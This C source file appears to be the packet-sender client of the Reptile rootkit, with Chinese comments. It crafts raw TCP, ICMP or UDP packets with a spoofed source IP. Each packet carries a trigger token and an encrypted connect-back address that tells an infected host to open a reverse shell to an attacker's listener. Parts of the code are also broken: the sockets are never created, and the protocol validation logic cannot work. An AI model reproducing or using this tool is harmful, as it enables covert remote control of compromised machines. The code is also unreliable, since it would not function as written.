#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>

#include "custom_rol32.h"
#include "util.h"

// Don't worry, it is gonna cahnged next version
// 定义常量，这些值用于设置IP首部和TCP首部的字段
#define KEY 0x6de56d3b // 加密密钥
#define IPID 3429 // IP标识符
#define SEQ 15123 // TCP序列号
#define WIN 9965 // TCP窗口大小

// 定义一个伪首部结构体，用于计算TCP和UDP数据包的校验和
struct pseudohdr {
    uint32_t saddr; // 源IP地址
    uint32_t daddr; // 目的IP地址
    uint8_t zero;   // 填充字段，总是0
    uint8_t protocol; // 协议类型，TCP或UDP
    uint16_t length; // 长度，TCP或UDP首部和数据的总长度
};

// 计算校验和的函数，用于IP和TCP/UDP首部
unsigned short csum(unsigned short* buf, int nwords) {
    unsigned long sum;
    unsigned short odd;

    // 将两个字节的校验和相加
    for (sum = 0; nwords > 1; nwords -= 2)
        sum += *buf++;

    // 如果有奇数个字节，将最后一个字节加入校验和
    if (nwords == 1) {
        odd = 0;
        *((unsigned char*)&odd) = *(unsigned char*)buf;
        sum += odd;
    }

    // 将校验和折叠成16位
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);

    // 返回反码
    return ~sum;
}

// 发送TCP数据包的函数
int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
    // 变量声明
    int socktcp, nbytes, ret = EXIT_FAILURE;
    unsigned int pckt_tam, plen;
    char* buffer;
    struct iphdr* iph;
    struct tcphdr* tcph;
    struct sockaddr_in s;
    socklen_t optval = 1;
    struct pseudohdr psh;
    char* pseudo_packet;

    // 计算数据包总长度
    pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;

    // 分配内存
    if (!(buffer = (char*)malloc(pckt_tam))) {
        fatal("on allocating buffer memory");
        return ret;
    }

    // 初始化内存
    memset(buffer, '\0', pckt_tam);

    // 填充IP首部
    iph = (struct iphdr*)buffer;
    tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr));
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->id = htons(IPID);
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->tot_len = pckt_tam;
    iph->saddr = inet_addr(srcip);
    iph->daddr = inet_addr(dstip);
    iph->check = csum((unsigned short*)buffer, iph->tot_len);

    // 填充TCP首部
    tcph->source = htons(srcport);
    tcph->dest = htons(dstport);
    tcph->seq = 0x0;
    tcph->ack_seq = 0;
    tcph->doff = 5;
    tcph->fin = 0;
    tcph->syn = 1;
    tcph->rst = 0;
    tcph->psh = 0;
    tcph->ack = 0;
    tcph->urg = 0;
    tcph->window = htons(WIN);
    tcph->urg_ptr = 0;
    tcph->check = 0;

    // 构建伪首部，用于计算TCP校验和
    psh.saddr = inet_addr(srcip);
    psh.daddr = inet_addr(dstip);
    psh.zero = 0;
    psh.protocol = IPPROTO_TCP;
    psh.length = htons(sizeof(struct tcphdr) + data_len);

    // 计算TCP首部和数据的校验和
    plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
    if ((pseudo_packet = malloc(plen)) == NULL) {
        fatal("on malloc");
        goto close_socket;
    }
    bzero(pseudo_packet, plen);
    memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
    tcph->seq = htons(SEQ);
    tcph->check = 0;
    memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
    tcph->check = csum((unsigned short*)pseudo_packet, plen);

    // 设置目的地址和端口
    s.sin_family = AF_INET;
    s.sin_port = htons(dstport);
    s.sin_addr.s_addr = inet_addr(dstip);

    // 发送数据包
    if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
        fatal("on sending package");

    // 清理资源
    if (nbytes > 0) {
        fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
        ret = EXIT_SUCCESS;
    }

    free(pseudo_packet);
close_socket:
    close(socktcp);
free_buffer:
    free(buffer);
    return ret;
}

// 发送ICMP数据包的函数
int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
    // 变量声明
    int sockicmp, nbytes, ret = EXIT_FAILURE;
    unsigned int pckt_tam;
    char* buffer;
    struct iphdr* iph;
    struct icmphdr* icmp;
    struct sockaddr_in s;
    socklen_t optval = 1;

    // 计算数据包总长度
    pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;

    // 分配内存
    if (!(buffer = (char*)malloc(pckt_tam))) {
        fatal("on allocating buffer memory");
        return ret;
    }

    // 初始化内存
    memset(buffer, '\0', pckt_tam);

    // 填充IP首部
    iph = (struct iphdr*)buffer;
    icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr));
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->id = htons(IPID);
    iph->ttl = 255;
    iph->protocol = IPPROTO_ICMP;
    iph->saddr = inet_addr(srcip);
    iph->daddr = inet_addr(dstip);
    iph->tot_len = pckt_tam;
    iph->check = csum((unsigned short*)buffer, iph->tot_len);

    // 填充ICMP首部
    icmp->type = 8; // ICMP类型：回显请求
    icmp->code = ICMP_ECHO; // ICMP代码：回显请求
    icmp->checksum = 0; // 清零校验和字段
    icmp->un.echo.id = htons(WIN); // ICMP标识符
    icmp->un.echo.sequence = htons(SEQ); // ICMP序列号

    // 计算ICMP首部和数据的校验和
    icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len);

    // 设置目的地址
    s.sin_family = AF_INET;
    s.sin_addr.s_addr = inet_addr(dstip);

    // 发送数据包
    if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
        fatal("on sending package");

    // 清理资源
    if (nbytes > 0) {
        fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
        ret = EXIT_SUCCESS;
    }

close_socket:
    close(sockicmp);
free_buffer:
    free(buffer);
    return ret;
}

// 发送UDP数据包的函数
int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
    // 声明变量
    int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket，发送的字节数，返回值
    unsigned int pckt_tam, plen; // 数据包长度，伪包长度
    char* buffer; // 缓冲区
    struct iphdr* iph; // IP头指针
    struct udphdr* udph; // UDP头指针
    struct sockaddr_in s; // 地址结构
    socklen_t optval = 1; // 设置socket选项的值
    struct pseudohdr psh; // 伪包头结构
    char* pseudo_packet; // 伪包数据指针

    // 计算数据包总长度
    pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;

    // 分配内存
    if (!(buffer = (char*)malloc(pckt_tam))) {
        fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
        return ret; // 返回失败
    }

    // 初始化内存
    memset(buffer, '\0', pckt_tam); // 将缓冲区清零

    // 填充IP首部
    iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
    udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
    iph->ihl = 5; // IP头长度
    iph->version = 4; // IP版本
    iph->tos = 0; // 服务类型
    iph->id = htons(IPID); // 标识符
    iph->ttl = 255; // 生命周期
    iph->protocol = IPPROTO_UDP; // 协议类型
    iph->tot_len = pckt_tam; // 总长度
    iph->saddr = inet_addr(srcip); // 源IP地址
    iph->daddr = inet_addr(dstip); // 目的IP地址
    iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和

    // 填充UDP首部
    udph->source = htons(srcport); // 源端口
    udph->dest = htons(dstport); // 目的端口
    udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
    udph->check = 0; // 校验和初始化为0

    // 创建伪包头
    psh.saddr = inet_addr(srcip); // 源IP地址
    psh.daddr = inet_addr(dstip); // 目的IP地址
    psh.zero = 0; // 填充0
    psh.protocol = IPPROTO_UDP; // 协议类型
    psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度

    // 计算伪包长度
    plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;

    // 分配伪包内存
    if ((pseudo_packet = malloc(plen)) == NULL) {
        fatal("on malloc"); // 分配失败时调用fatal函数
        goto close_socket; // 跳转到关闭socket的标签
    }

    // 初始化伪包内存
    bzero(pseudo_packet, plen); // 清零伪包
    memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头

    // 计算UDP校验和
    udph->check = 0; // 校验和重置为0
    memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
    udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和

    // 设置目的地址
    s.sin_family = AF_INET; // 地址族
    s.sin_port = htons(dstport); // 目的端口
    s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址

    // 发送数据包
    if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
        fatal("on sending package"); // 发送失败时调用fatal函数

    // 检查发送的字节数
    if (nbytes > 0) {
        fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
        ret = EXIT_SUCCESS; // 设置返回值为成功
    }

    // 释放伪包内存
    free(pseudo_packet);
close_socket:
    // 关闭socket
    close(sockudp);
free_buffer:
    // 释放缓冲区内存
    free(buffer);
    return ret; // 返回结果
}

void usage(char* argv0)
{
    // 打印使用说明
    fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
    fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
    fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
    fprintf(stderr, "-t\tTarget\n");
    fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
    fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
    fprintf(stderr, "-s\tSource IP address to spoof\n");
    fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
    fprintf(stderr, "-l\tHost to receive the reverse shell\n");
    fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
    fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
    exit(1); // 退出程序
}

int main(int argc, char** argv)
{
    // 声明变量
    int opt, dstport, srcport, len, crypt_len;
    char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port,
        * token, * data;

    // 初始化端口变量
    dstport = srcport = 0;

    // 初始化字符串指针
    prot = dstip = srcip = connect_back_host = connect_back_port = token =
        NULL;

    // 解析命令行参数
    while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
        switch (opt) {
        case 'x':
            // 设置协议
            prot = optarg;
            // 检查协议是否合法
            if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
                if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
                    if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
                        printf("%s wrong protocol\n", bad);
                        exit(-1);
                    }
                }
            }
            break;
        case 't':
            // 设置目标IP
            if (strlen(optarg) > 15) {
                printf("%s wrong IP address\n", bad);
                exit(-1);
            }
            dstip = optarg;
            break;
        case 'l':
            // 设置连接回显IP
            if (strlen(optarg) > 15) {
                printf("%s wrong IP address\n", bad);
                exit(-1);
            }
            connect_back_host = optarg;
            break;
        case 'p':
            // 设置连接回显端口
            if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
                printf("%s wrong port\n", bad);
                exit(-1);
            }
            connect_back_port = optarg;
            break;
        case 'r':
            // 设置远程端口
            if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
                printf("%s wrong port\n", bad);
                exit(-1);
            }
            dstport = atoi(optarg);
            break;
        case 's':
            // 设置源IP
            if (strlen(optarg) > 15) {
                printf("%s wrong IP address\n", bad);
                exit(-1);
            }
            srcip = optarg;
            break;
        case 'q':
            // 设置源端口
            if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
                printf("%s wrong port\n", bad);
                exit(-1);
            }
            srcport = atoi(optarg);
            break;
        case 'k':
            // 设置令牌
            if (strlen(optarg) > 16 || strlen(optarg) < 5) {
                printf("%s wrong size of token\n", bad);
                exit(-1);
            }
            token = optarg;
            break;
        default:
            // 打印使用说明
            usage(argv[0]);
            break;
        }
    }

    // 检查必要的参数是否已设置
    if (prot == NULL || dstip == NULL || srcip == NULL ||
        connect_back_host == NULL || connect_back_port == NULL ||
        token == NULL) {
        usage(argv[0]);
    }

    // 检查端口参数
    if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
        strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
        if (srcport == 0 || dstport == 0)
            usage(argv[0]);
    }

    // 计算数据长度
    len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
    crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
    data = (char*)malloc(len);

    // 检查内存分配
    if (!data)
        fatal("malloc");

    // 初始化数据
    bzero(data, len);
    snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
    do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据

    // 根据协议发送数据包
    if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
        tcp(srcip, dstip, srcport, dstport, data, len);
    }
    else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
        icmp(srcip, dstip, data, len);
    }
    else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
        udp(srcip, dstip, srcport, dstport, data, len);
    }

    // 释放内存
    free(data);
    return EXIT_SUCCESS; // 返回成功
}